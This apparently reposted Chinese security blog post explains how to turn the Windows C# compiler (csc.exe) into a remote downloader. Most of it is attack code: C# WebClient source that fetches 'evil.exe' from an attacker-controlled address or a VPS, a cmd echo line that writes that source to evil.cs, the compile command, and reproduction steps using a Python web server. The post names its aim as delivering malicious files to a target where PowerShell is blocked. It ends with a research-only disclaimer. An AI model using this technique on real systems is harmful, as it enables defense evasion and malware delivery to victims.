C#编译器
C#(C-Sharp)是微软开发的一种编程语言,用于.NET框架。当C#代码被编译时,csc.exe(C#编译器)会将源代码编译成微软中间语言(Microsoft Intermediate Language,简称MSIL)文件,通常这些文件的扩展名是.dll或.exe。C#编译器(csc.exe),通常位于.NET框架的安装目录下。
csc.exe文件路径为:
C
:
Windows
Microsoft
.NET
Framework
<
version
>
C
:
Windows
Microsoft
.NET
Framework64
<
version
>
简单的C#下载器
用几行代码实现一个简单的C#下载器,源码如下:
using
System.Net;
namespace
downloader
{
class
Program
{
static
void
Main
(
string
[] args
)
{
WebClient client =
new
WebClient();
string
URLAddress =
@"http://192.168.1.1/evil.exe"
;
string
Path =
@"C:userspublic"
;
client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));
}
}
}
通过cmd写到一个文本文件里:
echo
using
System.Net;
namespace
downloader
{
class
Program
{
static
void
Main
(
string
[] args
)
{WebClient client =
new
WebClient();
string
URLAddress =
@"http://192.168.1.1/evil.exe"
;
string
Path =
@"C:\users\public\"
;client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));}}} > evil.cs
然后使用csc.exe编译:
C
:
Windows
Microsoft
.NET
Framework
vX
.X
.XXXXX
csc
.exe
evil
.cs
复现
- 在vps上准备恶意文件,使用python打开web服务等待下载:
2. 随后修改C#源码目录:
using
System.Net;
namespace
downloader
{
class
Program
{
static
void
Main
(
string
[] args
)
{
WebClient client =
new
WebClient();
string
URLAddress =
@"http://vps_ip:8000/evil.exe"
;
string
Path =
@"C:userspublic"
;
client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));
}
}
3. 编译后执行,成功下载恶意文件
总结
本文讲述了如何利用C#编译器实现远程下载功能,可以在目标机器禁用Powershell等手段时另辟蹊径,实现恶意文件的远程下载。
原文始发于微信公众号(赛博安全狗):【权限维持技术】Windows 利用C#编译器远程下载
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论